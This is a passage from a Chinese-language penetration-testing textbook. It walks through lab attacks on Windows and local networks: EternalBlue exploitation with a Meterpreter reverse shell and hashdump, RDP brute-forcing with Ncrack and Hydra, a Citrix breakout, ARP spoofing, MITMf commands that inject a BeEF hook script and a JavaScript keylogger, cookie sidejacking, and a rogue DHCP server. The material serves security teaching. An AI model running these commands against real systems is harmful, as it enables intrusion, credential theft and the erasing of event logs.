  1. 首先,让我们尝试在目标 Windows 系统上运行漏洞扫描。以下代码片段是使用nmap --script vuln 10.10.10.19命令的结果:

突出显示的区域表明我们的目标对于 Microsoft 安全公告 ID ms17-010,也就是EternalBlue,存在远程代码执行攻击的漏洞。对这个漏洞的进一步研究告诉我们,目标容易受到 WannaCry、Petya 和其他恶意软件的利用。

EternalBlue 漏洞允许攻击者对 Microsoft SMBv1 服务器执行远程代码执行。

  1. Metasploit FrameworkMSF)控制台中,使用search ms17-010命令来过滤 EternalBlue 漏洞的结果,如下面的屏幕截图所示:

  1. MSF 控制台返回了一些结果。我们将使用ms-17-010_eternalblue漏洞和Meterpreter 反向 TCP 有效载荷来尝试从受害者的机器返回到我们的攻击者机器的反向连接(反向 shell)。为了完成这个任务,使用以下命令,如下面的屏幕截图所示:

  1. 执行漏洞利用后,您现在将拥有一个meterpreter shell。meterpreter shell 将允许您在攻击者机器和受害者操作系统之间无缝通信。

根据 SANS(www.sans.org),Meterpreter 是 Metasploit 框架中的有效载荷,它通过作为已加载到目标机器上的任何进程内的 DLL 来运行,从而对被利用的目标系统进行控制。

使用hashdump命令,您将能够检索受害者机器上所有本地存储的用户帐户的密码哈希:

帐户的用户名始终以明文显示,如前面的屏幕截图所示。

在 Meterpreter 中的hashdump命令用于检索 Windows 系统中的用户帐户。用户帐户由三个组件组成:安全 IDSID)、用户名和密码。密码被转换为 NTLM 哈希并存储在较新版本的 Windows 中。在较旧版本的 Windows 中,如 Windows XP,密码使用LAN ManagerLM)存储。因此,Windows 操作系统实际上从不存储用户帐户的密码;它存储哈希值。

以下是我们可以在meterpreter shell 中使用的一些有用的命令:

    • screenshot:捕获受害者桌面的屏幕截图
  • getsystem:尝试提升目标的特权

  • clearev:清除事件日志

  • sysinfo:收集有关目标的信息

  1. 要在受害者的机器上获取 shell,请键入shell并按Enter

现在您将在 Kali Linux 机器上拥有 Windows 命令提示符界面。现在您将能够远程执行 Windows 命令。

现在我们已经简要介绍了利用,让我们使用远程访问系统获取访问权限。

渗透测试 Citrix 和基于 RDP 的远程访问系统

在本节中,我们将研究在大多数 IT 环境中执行对两种流行的远程访问系统 Citrix 和 Microsoft 的远程桌面协议RDP)的渗透测试。

让我们深入研究 Citrix 和 RDP 的渗透测试和获取访问权限。

Citrix 渗透测试

我们中的大多数人可能已经听说过 Microsoft 的 RDP,它允许用户在网络中远程访问另一台 Windows 机器,并提供了一个图形用户界面GUI)。Citrix 就像 RDP,但在性能方面更好,同时提供交互式用户界面。

许多组织使用 Citrix 服务和产品有效地在组织内分发对应用程序的访问。使用 Citrix 的一个例子是在组织的私人数据中心内运行应用程序。使用 Citrix,IT 管理员可以为这些应用程序的用户提供访问权限。每个用户都需要一个现代的 Web 浏览器来访问虚拟桌面界面或在数据中心中集中访问应用程序。这种方法消除了在每个员工的计算机上安装软件应用程序的需要。让我们开始吧:

  1. 我们可以使用 Nmap NSE 脚本citrix-enum-apps来发现和提取应用程序。以下是在 Nmap 中使用脚本的示例:
nmap -sU --script citrix-enum-apps <citrix server IP address>
  1. 此外,您可以指定-p 1604,因为 Citrix WinFrame 使用 TCP 和 UDP 端口1604

  2. 找到 Citrix 机器后,您可以尝试使用以下 URL 登录以连接到发布的应用程序:

http://<server IP>/lan/auth/login.aspx
  1. 登录后,单击一个应用程序以下载launch.ica文件到您的桌面。下载完成后,使用记事本或其他文本编辑器打开文件。

  2. 寻找一个名为InitialProgram的参数,指向LIFE UAT应用程序。将参数更改为InitialProgram=explorer.exe并保存文件。

  3. 双击新保存的文件以打开 Citrix 服务器的资源管理器。这将使我们能够读取lan/auth/login.aspx文件和其他敏感文件。

  4. 一旦你有了 Citrix 终端,环境可能会受限(空白屏幕)。打开任务管理器,然后单击文件 | 新任务。新任务窗口将打开。输入explorer.exe,然后单击确定

  5. 在 Windows 资源管理器中,导航到包含所有.aspx文件的目录,以确认您位于 Citrix 服务器上。

这种技术允许用户跳出Citrix虚拟化环境。在下一节中,我们将对 Microsoft RDP 执行渗透测试并尝试获取访问权限。

现在您已经完成了本节,让我们尝试利用企业环境中最流行的远程访问服务之一,Microsoft 的 RDP。

RDP 入侵

Microsoft 的 RDP 为用户提供了一个图形界面,用于在网络上与基于 Windows 的系统建立连接。很多时候,系统管理员在组织中的客户端和服务器机器上启用 RDP 服务,以便轻松访问。启用设备上的 RDP 后,系统管理员无需亲自前往系统的地理位置来检查其配置或对操作系统进行调整。他们只需使用 RDP 登录即可。这种协议使 IT 专业人员的工作变得更加简单和高效。

该协议是为远程访问而设计的。但是,作为渗透测试人员,我们可以利用启用了 RDP 的系统,尝试发现目标系统的有效用户凭据。让我们开始吧:

  1. 首先,我们可以使用 Nmap 扫描网络,同时搜索启用了 RDP 的任何设备。Windows 上的 RDP 使用端口3389,因此我们可以使用以下 Nmap 命令来扫描目标:
nmap -p 3389 -sV <target IP address>

以下屏幕截图显示了一个打开端口3389并运行Microsoft Terminal Services的系统:

  1. 现在我们已经找到了一个合适的目标,我们可以对活动目标进行字典攻击。使用Ncrack(一种离线密码破解工具),我们可以使用可能的用户名列表(usernames.txt)和密码列表(custom_list.txt),如下面的屏幕截图所示:

以下是在前面片段中使用的每个开关的描述:

    • -v:增加终端输出的详细程度。
  • -T (0-5):调整攻击的时间。数字越大,攻击速度越快。

  • -U:允许您指定用户名列表。

  • --user:允许您指定用户名,每个用逗号分隔。

  • -P:允许您指定密码列表。

  • --pass:允许您指定密码,每个用逗号分隔。

  • service://host:Ncrack 使用此格式来指定服务和目标设备。

正如您所看到的,Ncrack能够找到目标(10.10.10.19)的有效用户名和密码组合。因此,一旦获得了用户的凭据,现在就可以简单地利用它们来使我们受益。

  1. 在这一点上,一旦您获得了有效的用户帐户,下一步就是实际登录到目标系统,使用您在目标系统上找到的 RDP 和其他网络服务(Telnet、SSH、VNC 等)。

另一个在线密码破解工具我们可以使用是Hydra。要使用 Hydra 执行与 Ncrack 相同的任务,可以执行以下命令:

hydra -V -f -L usernames.txt -P custom_list.txt rdp://10.10.10.19

请注意,Hydra 中的 RDP 模块可能无法在现代 Windows 版本上工作。有关 Hydra 的更多信息,请访问其官方 GitHub 存储库github.com/vanhauser-thc/thc-hydra

Metasploit中收到meterpreter shell 后,以下是一些有用的命令,可以帮助您捕获按键和受害者的屏幕:

  • screenshare:此命令用于实时观看远程受害者的桌面。

  • screenshot:拍摄受害者的桌面照片。

  • keyscan_start:使用 Meterpreter 开始键盘记录。

  • keyscan_stop:停止键盘记录。

  • keyscan_dump:生成捕获的按键的转储。

以下屏幕截图显示了在 Meterpreter 中执行screenshare命令后,受害者桌面的实时视图:

正如您所看到的,一旦真正的黑客进入网络或系统,他们可以做的事情是相当可怕的。

您现在可以检测和利用 Windows 操作系统中的 EternalBlue 漏洞。接下来,我们将看看如何利用用户凭据来使我们受益。

利用用户凭据

现在我们已经为目标 Microsoft Windows 系统获得了用户凭据,让我们尝试远程连接。在这个练习中,我们将使用已经预先安装在 Kali Linux 中的rdesktop客户端。让我们开始:

rdesktop是一种用于远程管理的开源协议,类似于 Microsoft 的 RDP。

  1. 要使用 rdesktop,请打开一个新的终端窗口,并使用以下语法:
rdesktop -u <username> -p <password> <target's IP address>

以下片段是使用 rdesktop 工具的示例,包括所有必要的细节:

  1. 一旦您执行了命令,rdesktop 将尝试与目标设备建立远程连接。一旦成功,rdesktop 将提供一个新窗口,显示目标的用户界面,如下面的屏幕截图所示:

在这一点上,我们已经成功进入了目标操作系统,并对其进行了控制。

如果您的攻击者系统没有 rdesktop 工具,可以在其官方 GitHub 存储库找到:github.com/rdesktop/rdesktop。有关 rdesktop 的更多信息,请访问其官方网站www.rdesktop.org

正如您所看到的,我们可以简单地使用 Kali Linux 中的本机工具和受害者的凭据来在渗透测试期间访问资源、系统和网络。在下一节中,我们将深入探讨网络植入物。

直接将 PWN 盒和其他工具插入网络

渗透测试人员经常倾向于在组织的网络中放置一个微小的特殊盒子。这些被称为网络植入物,有时也被称为 PWN 盒。网络植入物允许攻击者通过连接到植入工具来建立从互联网到企业网络的连接,如下面的屏幕截图所示:

以下是一个可以插入以拦截网络流量的网络植入物的照片。这个设备能够捕获实时数据包并将它们存储在 USB 闪存驱动器上。它具有远程访问功能,可以允许渗透测试人员或系统管理员远程访问设备,从而允许用户在网络上远程执行各种任务。这个小设备被称为Packet Squirrel,由 Hak5 创建:

此外,还有另一种看起来像 USB 以太网适配器的设备。这个所谓的以太网适配器也是另一种网络植入物,可以让渗透测试人员远程访问网络并执行各种任务,如扫描、利用和攻击枢纽。这个小设备被称为LAN Turtle,又是 Hak5 生产的另一件令人惊叹的装备:

在过去的几年里,Raspberry Piwww.raspberrypi.org)被引入到计算机世界。今天,许多机构、组织和家庭都在许多项目中使用 Raspberry Pi,从学习、编程到家庭安全监控系统。这个信用卡大小的小型计算机有无限的可能性:

然而,目前有许多操作系统可用于 Raspberry Pi,其中之一是 Kali Linux ARM 镜像(www.offensive-security.com/kali-linux-arm-images/)。想象一下将 Kali Linux 加载到这个便携设备中,将其植入到组织的网络中,并设置远程访问的可能性。如果这种情况是由真正的攻击者实施的,结果将是严重的,但渗透测试人员可以通过向客户展示他们对内部网络发起的攻击有多么脆弱来帮助他们很多。

有很多设备和小工具可以促进渗透测试,可能性是无限的。在下一节中,我们将介绍 NAC 的基础知识。

绕过 NAC

NAC 是一个旨在控制访问和确保合规性的系统。它使用一套过程和技术,专注于控制谁和什么能够访问网络及其资源。NAC 通过授权符合一定合规标准的设备在企业网络上运行来实现这一点。

一旦设备连接,NAC 服务器就能够对设备进行配置文件和检查,以确定连接的设备是否符合合规标准,然后允许访问网络资源、安全策略和控制,这些都是配置的,以确保有一定形式的限制,防止不符合规定的设备获取网络访问权限。

IEEE 802.1x 是 LAN(有线)和 WLAN(无线)网络的 NAC 标准。在 802.1x 网络中,有三个主要组件:

  • 认证服务器: 认证服务器是处理网络上的认证、授权和计费AAA)服务的设备。这是创建和存储用户帐户以及应用特权和策略的地方。认证服务器运行远程认证拨号用户服务RADIUS)或终端访问控制器访问控制系统加TACACS+)作为其协议。

  • 认证器: 这通常是您尝试访问的网络设备,无论是出于管理目的还是仅仅是访问网络。这些设备可以是无线路由器/接入点或网络交换机。

  • Supplicant: Supplicant 是客户端设备,如智能手机或笔记本电脑,希望访问网络。Supplicant 连接到网络(有线或无线),并收到认证登录窗口,由认证器提供。当用户提交其用户凭据时,认证器会查询认证服务器,以验证用户并确定用户登录到网络时应用的策略和权限。

绕过 NAC 系统可能有些挑战。在本章和上一章的课程中,我们看了如何收集用户凭据并欺骗我们的攻击者机器(Kali Linux)的身份。使用目标网络上有效用户的 MAC 地址和用户凭据将为您提供对安全网络的某种访问权限。

但是,NAC 服务器能够对所有连接设备上的操作系统和反恶意软件保护进行配置文件化。如果您的系统不符合合规要求,这可能会触发红旗,或者根据策略不允许访问。

总结

在本章中,我们能够涵盖了许多实用内容,例如破解 WEP 和 WPA 无线加密标准以恢复密钥(密码)。在利用无线安全性之后,我们讨论并演示了最佳实践,以便我们可以保护无线网络免受潜在黑客的攻击。

此外,还介绍了对微软的 RDP 和 Citrix 服务进行渗透测试的实际方法。最后,我们讨论了各种网络植入物的用途,以及它们如何可以保持对企业网络的远程访问。

您现在具备了访问无线网络、对目标系统进行利用以及访问 Linux 和 Windows 操作系统的技能。

在第十一章中,网络渗透测试-连接后攻击,我们将探讨连接后阶段的各种工具。

问题

  1. WPA2 使用什么算法进行数据加密?

  2. 用于发现运行 Citrix 应用程序的服务器的 Nmap 脚本是什么?

  3. 微软的 RDP 使用的默认端口是什么?

  4. Kali Linux 中有哪些密码破解工具?

  5. 通常用于存储所有用户帐户和策略的设备是什么?

  6. 在 Metasploit 中,可以使用哪个命令来查找模块?

  7. NAC 的标准是什么?

进一步阅读

以下是一些推荐阅读资源:

第十一章:网络渗透测试 - 连接后攻击

获得对系统或网络的访问绝对不是执行扫描和进一步利用的结束。一旦你进入了一个安全环境,比如目标组织,这就是你需要分割并征服其他内部系统的地方。然而,执行内部扫描的技术与前几章提到的类似(第六章,主动信息收集)。在这里,将介绍新的技术,用于扫描、利用、权限提升和在网络上执行横向移动。更进一步地,你将学习如何使用各种技术和工具执行中间人攻击MITM)并了解如何收集用户凭据等敏感信息。

在本章中,我们将涵盖以下主题:

  • 收集信息

  • MITM 攻击

  • 会话劫持

  • 动态主机配置协议DHCP)攻击

  • 利用 LLMNR 和 NetBIOS-NS

  • Web 代理自动发现WPAD)协议攻击

  • Wireshark

  • 提升权限

  • 横向移动策略

  • PowerShell 技巧

  • 发动 VLAN 跳跃攻击

技术要求

以下是本章的技术要求:

收集信息

在本书的早期部分,我们深入讨论了使用 Kali Linux 中的被动和主动技术和工具收集有关目标的信息的重要性。然而,当你通过利用攻击入侵系统时,这并不是渗透测试的结束。相反,这是你将继续向前利用组织网络上的不同系统、创建多个后门并获得各种受害设备上最高权限的起点。

在本节中,我们将使用以下工具进行网络扫描:

  • Netdiscover

  • AutoScan

  • Zenmap

让我们更详细地看看这些。

使用 Netdiscover 进行扫描

Netdiscover只是一个利用地址解析协议ARP)发现网络段上连接的客户端的扫描器。ARP 在 OSI 参考模型的数据链路层(第 2 层)和网络层(第 3 层)之间运行。设备使用 ARP 来解析 IP 地址到 MAC 地址,以进行本地通信。

使用 Netdiscover 进行内部网络扫描,请遵循以下步骤:

  1. 执行以下命令:
netdiscover -r <network-ID>/<network prefix> netdiscover -r 10.10.10.0/24

Netdiscover 将开始显示所有活动设备,显示它们的 IP 地址、MAC 地址、其网络接口卡NICs)的供应商和它们的主机名,如下截图所示:

  1. 要执行被动扫描并使用 Netdiscover 的嗅探器模式,请使用-p参数。以下是启用被动模式的示例:
netdiscover -p -r 10.10.10.0/24

由于被动模式意味着耐心地等待在电线上检测到 ARP 消息,填充表可能会耗时,因为你必须等待设备进行通信。以下是一张截图,显示被动模式已启用:

在渗透测试中,始终记得使用简单的工具来完成任务。有时,使用复杂的工具可能会让你陷入一段时间的困境。正如你已经注意到的,我们一直在使用的工具并不难使用,以完成给定的任务。

在这一部分,您已经学会了如何在 Kali Linux 上使用 Netdiscover 执行被动扫描。接下来,我们将学习如何使用 AutoScan 工具执行网络扫描。

使用 AutoScan-Network 进行扫描

AutoScan-Network 工具能够扫描和对本地网络段上的设备进行配置文件化。

要开始,请观察以下步骤:

  1. 从以下网址下载 AutoScan-Network:sourceforge.net/projects/autoscan/files/AutoScan/autoscan-network%201.42/

选择如下屏幕截图中显示的版本:

  1. 一旦文件成功下载到您的 Kali Linux 机器上,打开终端并执行tar -xzvf autoscan-network-1.42-Linux-x86-Install.tar.gz来提取内容。以下是tar实用程序中使用的描述:
  • -x:用于提取文件

  • -z:通过 gzip 过滤压缩文件

  • -v:提供详细输出

  • -f:指定文件或设备

  1. 接下来,使用./autoscan-network-1.42-Linux-x86-Install安装工具,如下面的屏幕截图所示:

  1. 现在 AutoScan-Network 已经安装在 Kali Linux 上,是时候打开应用程序了。在 Kali Linux 桌面环境中,单击应用程序|AutoScan-Network 打开应用程序。

  2. 网络向导将打开;单击前进开始设置 AutoScan-Network。

  3. 接下来,设置您的网络名称并单击前进

  4. 向导将要求输入网络位置;将其保留为默认设置(localhost)并单击前进

  5. 选择您的网络适配器。如果您使用 LAN 适配器(eth0),请将其保留为默认设置并单击前进

  6. 在摘要窗口上单击前进以确认您的配置。

AutoScan-Network 将自动开始扫描您的本地网络,并尝试对每个设备上找到的任何服务进行指纹识别,如下面的屏幕截图所示:

完成后,AutoScan-Network 将显示在本地网络上能够检测到的所有 IP 地址、主机名和服务。

在下一节中,我们将介绍使用 Zenmap 进行扫描所需的基本技术。

使用 Zenmap 进行扫描

Zenmap 是 Nmap 的图形用户界面版本。它提供与其命令行版本相同的功能和特性。要打开 Zenmap,请执行以下步骤:

  1. 转到应用程序|信息收集|Zenmap。

  2. 一旦应用程序打开,您将看到以下用户界面,允许您指定目标或范围以及要执行的扫描类型(配置文件),并允许您创建和执行自定义扫描:

  1. 扫描完成后,Zenmap 将在选项卡中填充以下信息:Nmap 输出、端口/主机、拓扑和主机详细信息:

在我们的练习中,我们一直在10.10.10.0/24网络上执行快速扫描,并且已经能够确定活动系统和任何开放的端口。

在本节中,您已经掌握了使用 Zenmap 进行快速扫描所需的技能。在下一节中,我们将学习更多关于 MITM 攻击的知识。

MITM 攻击

MITM攻击就是攻击者坐在受害者和其余网络之间,拦截和捕获网络数据包。以下是一个示例,显示了一个攻击者(192.168.1.5)连接到与受害者(192.168.1.10)相同的段:

默认情况下,攻击者机器将无法拦截和捕获PC1和默认网关(192.168.1.1)之间的任何流量。但是,攻击者可以在受害者和网关之间执行ARP 中毒。ARP 中毒是指攻击者向设备发送虚假 ARP 响应,告诉设备更新其 IP 到 MAC 的映射。攻击者机器将向受害者发送虚假 ARP 消息,告诉受害者的机器网关已更改为192.168.1.1 - CC:CC:CC:CC:CC:CC,并向网关发送消息,告诉它PC1已更改为192.168.1.10 - CC:CC:CC:CC:CC:CC

这将导致PC1和路由器之间交换的所有数据包都通过攻击者机器传递,攻击者机器将对这些数据包进行嗅探,以获取敏感信息,如路由更新、运行服务、用户凭据和浏览历史。

在接下来的部分中,我们将看一下在内部网络上执行成功的 MITM 攻击的各种工具和技术。

ARPspoof

我们将首先看的工具之一是 ARPspoof。ARPspoof 用于向受害者的机器发送虚假 ARP 消息,欺骗其将流量发送到攻击者的机器或网络上的另一个网关。由于我们知道 ARP 中毒和欺骗的工作原理,我们可以直接跳入使用这个工具的实践。我们使用以下语法:

arpspoof -i <network adapter> -r -t <victim IP address> <gateway IP address>

在我们的实验室中,我正在受害者机器(10.10.10.15)和网关(10.10.10.1)之间执行 MITM 攻击,如下面的屏幕截图所示:

ARPspoof 将开始持续向两台设备发送虚假 ARP消息。使用Ctrl + C将停止 ARP 中毒攻击,ARPspoof 将执行清理操作,恢复受害者和网关之间的工作状态,如下面的屏幕截图所示:

一旦清理成功结束,PC(10.10.10.15)和网关(10.10.10.1)将在网络上按原意进行通信。

完成本节后,您现在可以使用 ARPspoof 执行 MITM 攻击。在下一节中,您将了解 MITMf 及其功能。

MITMf

MITMf 是一个执行各种 MITM 攻击和技术的多合一工具,用于受害者的内部网络。MITMf 的功能包括以下内容:

  • 捕获 NTLM v1/v2、POP、IMAP、SMTP、Telnet、FTP、Kerberos 和 SNMP 凭据。这些凭据将允许您访问用户的帐户、系统/设备、文件共享和其他网络资源。

  • 使用 Responder 执行 LLMNR、NBT-NS 和 MDNS 中毒攻击。

要开始使用 MITMf,请按照以下说明操作:

  1. 在 Kali Linux 中使用以下命令安装依赖包:
apt-get install python-dev python-setuptools libpcap0.8-dev libnetfilter-queue-dev libssl-dev libjpeg-dev libxml2-dev libxslt1-dev libcapstone3 libcapstone-dev libffi-dev file
  1. 完成后,安装virtualenvwrapper
pip install virtualenvwrapper
  1. 接下来,您需要更新virtualenvwrapper.sh脚本中的源。首先,执行updatedb命令创建本地文件系统中所有文件位置的更新数据库。完成后,使用locate virtualenvwrapper.sh命令获取文件路径。然后,执行source命令,后跟文件路径,如下面的屏幕截图所示:

  1. 使用mkvirtualenv MITMf -p /usr/bin/python2.7命令创建虚拟环境并下载 MITMf 存储库,如下面的屏幕截图所示:

  1. 下载存储库后,更改目录并克隆子模块:
cd MITMf && git submodule init && git submodule update -recursive
  1. 使用以下命令安装依赖项:
pip install -r requirements.txt
  1. 要查看帮助菜单,请使用以下命令:
python mitmf.py --help 

您现在已在 Kali Linux 机器上设置了 MITMf。接下来,让我们深入了解 MITMf 的用例。

MITMf 的用例

以下是 MITMf 的各种用例:

请记住,所有攻击都应该只在实验环境中进行,并且只能针对你已经获得合法许可的网络进行。

  • 你可以使用 MITMf 绕过 HTTPS:
python mitmf.py -i eth0 --spoof --arp --hsts --dns --gateway 10.10.10.1 --target 10.10.10.15
    • -i:指定要对 MITMf 执行的接口
  • --spoof:告诉 MITMf 伪造身份

  • --arp:通过 ARP 执行流量重定向

  • --hsts:加载 sslstrip 插件

  • --dns:加载代理以修改 DNS 查询

  • --gateway:指定网关

  • --target:指定目标

  • 你可以在网关(10.10.10.1)和整个子网之间执行 ARP 欺骗攻击:

python mitmf.py -i eth0 --spoof --arp --gateway 10.10.10.1
  • 你可以在受害者和网关(10.10.10.1)之间执行 ARP 欺骗:
python mitmf.py -i eth0 --spoof --arp --target 10.10.10.10-10.10.10.50 --gateway 10.10.10.1
  • 你可以在对子网和网关(10.10.10.1)执行 ARP 欺骗攻击时执行 DNS 欺骗:
python mitmf.py -i eth0 --spoof --dns --arp --target 10.10.10.0/24 --gateway 10.10.10.1
  • 你可以使用 MITMf 执行 LLMNR/NBTNS/MDNS 欺骗:
python mitmf.py -i eth0 --responder --wredir --nbtns
  • 你可以执行 DHCP 欺骗攻击:
python mitmf.py -i eth0 --spoof --dhcp

这种攻击在后渗透阶段非常有用。

IP 寻址方案和子网信息取自配置文件。

  • 可以使用 MITMf 注入 HTML iframe:
python mitmf.py -i eth0 --inject --html-url <malicious web URL>
  • 可以注入 JavaScript 脚本:
python mitmf.py -i eth0 --inject --js-url http://beef:3000/hook.js

你可以使用responder模块将 ARP 欺骗作为恶意代理服务器执行 WPAD 协议的 ARP 欺骗:

python mitmf.py -i eth0 --spoof --arp --gateway 192.168.1.1 --responder --wpad

以下是可以整合的其他参数列表:

  • 屏幕捕获:这允许 MITMf 使用 HTML5 画布准确地获取客户端的 Web 浏览器图像,使用--screen命令。此外,你可以使用--interval seconds命令以时间间隔捕获屏幕截图。

  • 键盘记录器--jskeylogger命令将 JavaScript 键盘记录器注入受害者的网页,以捕获按键。

请记住,要查看 MITMf 工具的其他参数,你可以执行python mitmf.py --help命令。

完成了这一部分,你现在已经具备了使用 MITMf 执行各种类型攻击所需的技能。在下一部分,我们将介绍会话劫持攻击。

会话劫持

在这一部分,我们将在我们网络上的目标机器上执行会话劫持。为了执行这次攻击,我们将结合一些其他技术来确保它的成功。每当用户访问一个网站时,Web 服务器会向 Web 浏览器发送一个 cookie。该 cookie 用于监视用户的活动,并通过跟踪购物车中的商品、在浏览网站的其他区域时保持持久登录等方式提供更好的用户体验。

会话劫持允许攻击者或渗透测试人员在受害者登录网站时捕获并接管(劫持)另一个用户的会话。会话劫持允许渗透测试人员捕获会话令牌/密钥,然后使用它来未经授权地访问系统上的信息和资源。例如,捕获已登录其在线银行门户的用户的会话可以允许攻击者访问受害者的用户帐户,而无需输入受害者的用户凭据,因为他们可以简单地向网站/在线门户提供 cookie 数据。

在我们开始之前,我们将在我们的实验网络中使用以下拓扑来完成我们的练习:

为了确保你成功完成这个练习,请使用以下说明:

  1. 使用 Kali Linux 中的Ettercap-Graphical建立 MITM 攻击。要执行此任务,请按照以下步骤导航到应用程序| 09-嗅探和欺骗| ettercap-graphical:

  1. 一旦 Ettercap 打开,点击 Sniff | Unified sniffing:

  1. 将会出现一个小弹出窗口。选择你的网络接口: eth0,然后点击OK

  1. 通过导航到主机|扫描主机来扫描你网络上的所有主机设备:

  1. 扫描完成后,点击主机|主机列表,查看网络上的目标列表。选择您的目标,然后点击添加到目标 1

  1. 成功添加目标后,在 Ettercap 上启用 ARP 毒化,导航到 Mitm| ARP 毒化:

  1. 将弹出一个窗口。选择嗅探远程连接,然后点击确定

  1. 接下来,点击开始|开始嗅探以启用 MITM 攻击:

  1. 接下来,我们将使用Hamster工具来帮助我们操纵数据。要打开 Hamster,导航到应用程序| 09-嗅探和欺骗|仓鼠:

Hamster将在新的终端窗口上打开一个命令行界面,并提供 URLhttp://127.0.0.1:1234,用于查看会话信息:

  1. 接下来,我们将使用Ferret来捕获受害者和数据目的地之间的会话 cookie。默认情况下,Kali Linux 没有安装 Ferret;此外,Ferret 是一个 32 位工具。要在 Kali Linux 上安装 Ferret,请使用以下命令:
dpkg --add-architecture i386 && apt-get update && apt-get install ferret-sidejack:i386

安装成功后,导航到应用程序| 09-嗅探和欺骗|仓鼠:

  1. 使用ferret -i eth0命令捕获以太网接口上的 cookie:

  1. 在 Kali Linux 上打开网络浏览器,输入http://127.0.0.1:1234以访问Hamster代理界面。点击适配器

  1. 选择eth0适配器,然后点击提交查询

  1. 前往受害者的机器,使用网络浏览器,输入Metasploitable的 IP 地址。接下来,点击Damn Vulnerable Web ApplicationDVWA)。然后,使用用户名(admin)和密码(password)登录,以在受害者机器和另一个系统之间生成一些流量。

  2. 在您的 Kali Linux 机器上,刷新 Hamster 网页。现在应该看到受害者的 IP 地址出现。点击受害者的 IP 地址以获取更多信息:

  1. 点击左侧列中的任何 URL 将提供受害者在其网络浏览器上可能看到的图像:

  1. 要查看 cookie/session 详细信息列表,请在网络浏览器上打开新标签页,并输入此处显示的 URL:

我们能够捕获受害者机器和 Web 服务器之间的交易的会话 cookie。完成此练习后,您现在可以执行 cookie 窃取/会话劫持攻击。

现在您已经完成了这个练习,您具备了在任何网络上执行会话劫持攻击所需的技能。在下一节中,我们将介绍动态主机配置协议DHCP)攻击。

DHCP 攻击

在许多网络中,有数百甚至数千台终端设备,如台式机、笔记本电脑和智能设备,需要网络连接以访问企业网络上的资源。但是,每个设备都需要在网络上发送和接收消息(数据包)的地址,访问本地网络之外的资源的路径(默认网关),用于确定逻辑网络分段的标识符(子网掩码),以及可以解析网络上主机名到 IP 地址的人(DNS 服务器)。

网络管理员必须确保所有终端设备上配置了以下四个组件:

  • IP 地址

  • 子网掩码

  • 默认网关

  • DNS 服务器

使用 DHCP 服务器允许 IT 专业人员快速有效地自动分配 IP 配置给他们网络上的终端设备。为了进一步理解网络上 DHCP 的重要性,当客户端连接到网络(有线或无线)时,客户端机器会在网络上广播一个DHCP Discover数据包,寻找提供 IP 配置的 DHCP 服务器。当 DHCP 服务器收到发现数据包时,它会用DHCP Offer数据包做出回应。该数据包包含可用的 IP 设置,客户端可以在网络上使用。客户端收到并检查来自服务器的提供后,会用DHCP Request做出回应,用于通知服务器将使用 IP 信息。最后,DHCP 服务器通过发送DHCP ACK数据包提供确认和确认。

以下图表概述了 DHCP 过程:

由于 DHCP 服务器通常向客户设备提供默认网关信息,如果 DHCP 服务器提供另一条通往互联网的路径,比如通过攻击者的机器,客户(受害者)机器将接受新路径并相应地转发其数据包。此外,将客户机上的 DNS 服务器配置更改为将所有 DNS 查询转发到虚假 DNS 服务器可能会导致受害者浏览器加载钓鱼网页。

在本节中,我们将创建一个恶意 DHCP 服务器来重定向网络上受害者的流量。首先,我们将使用 Metasploit 框架来创建我们的恶意 DHCP 服务器:

  1. 使用以下命令启用 PostgreSQL 数据库和 Metasploit:
service postgresql start msfconsole
  1. Metasploit 包含一个允许我们启用 DHCP 服务器的模块。使用以下截图中显示的命令:

show options命令将显示在 Metasploit 中执行此模块之前必须的参数的描述,这些参数既是可选的又是必需的。

  1. 我们将设置起始和结束 IP 地址,网络广播地址,网络掩码(子网掩码),DNS 服务器,默认网关(默认路由器)和恶意 DHCP 服务器的 IP 地址。以下截图演示了如何为每个参数设置值:

  1. 完成后,使用show options命令验证每个参数的值是否设置正确:

  1. 当您准备好启动/执行模块时,请输入run并按Enter

以下片段来自我们渗透实验室中的 Windows 10 机器。仔细观察,您会发现 IP 配置在我们之前在 Metasploit 中配置的参数范围内:

此外,以下是在网络上启动恶意 DHCP 服务器期间的 Wireshark 捕获的 DHCP 消息:

仔细观察截图,我们可以看到从 Windows 10 机器发送的DHCP Discover数据包,寻找网络上的 DHCP 服务器。最终,我们的恶意 DHCP 服务器能够用DHCP Offer数据包回应客户端。

以下显示了发送给受害者 Windows 10 机器的DHCP Offer数据包的内容:

我们可以看到可分配给客户端的 IP 地址(10.10.10.101),默认网关(10.10.10.16),客户端的 MAC 地址,DHCP 消息的类型(Offer),DHCP 服务器的 IP 地址(10.10.10.16),子网掩码和 DNS 服务器配置。

DHCP 请求从客户端发送到 DHCP 服务器(恶意)以确认从DHCP 提供消息中接收到的 IP 配置。最后,DHCP 服务器(恶意)发送一个DHCP ACK数据包以确认客户端将使用提供的信息。

现在,您已经掌握了使用 Metasploit 对目标网络发动 DHCP 攻击的技能。在下一节中,我们将介绍链路本地多播名称解析LLMNR)和 NetBIOS 攻击。

利用 LLMNR 和 NetBIOS-NS

在许多组织中,作为渗透测试人员,您将遇到许多充当域控制器DC)角色的 Windows Server 机器。DC 只是运行 Active Directory 域服务的 Windows 服务器机器,用于管理组织内的所有设备。Active DirectoryAD)被 IT 专业人员用来管理网络上的计算机和用户等组件。此外,IT 专业人员可以在 AD 中使用组策略对象GPOs)来为最终设备和用户分配权限,从而创建限制以防止网络上的未经授权活动和行为。

在 Windows 环境中,NetBIOS-NSLLMNR协议都存在。NetBIOS-NS代表网络基本输入/输出系统名称服务。NetBIOS-NS 通常用于解析本地网络上的主机名。NetBIOS 已经存在了很长时间,已经过时。但是,它仍然被用于与旧的遗留系统进行通信。

今天,LLMNR 协议通常用于没有或不可用域名服务器DNS)服务器的网络上。与 NetBIOS-NS 类似,LLMNR 也用于解析网络上的主机名。

使用 Kali Linux,我们可以利用这些协议中的安全漏洞。在这种情况下,我们将尝试对我们的实验网络执行 MITM 攻击。此设计包含以下内容:

  • 具有 Active Directory 域服务的 Windows Server 2016

  • 名为pentestlab.local的新域

  • Windows 10 机器作为域中的客户端

  • 使用 Responder 的 Kali Linux 作为攻击者机器执行 LLMNR 毒化

在这个练习中,我们将使用以下拓扑来执行我们的攻击:

确保您在实验室中安装了 Windows Server 2016。如果还没有这样做,请阅读第三章,设置 Kali - 第 2 部分,其中包含安装 Windows 作为虚拟机的指南。

要在 Windows Server 2016 中设置 Active Directory,请使用以下网址:blogs.technet.microsoft.com/canitpro/2017/02/22/step-by-step-setting-up-active-directory-in-windows-server-2016/

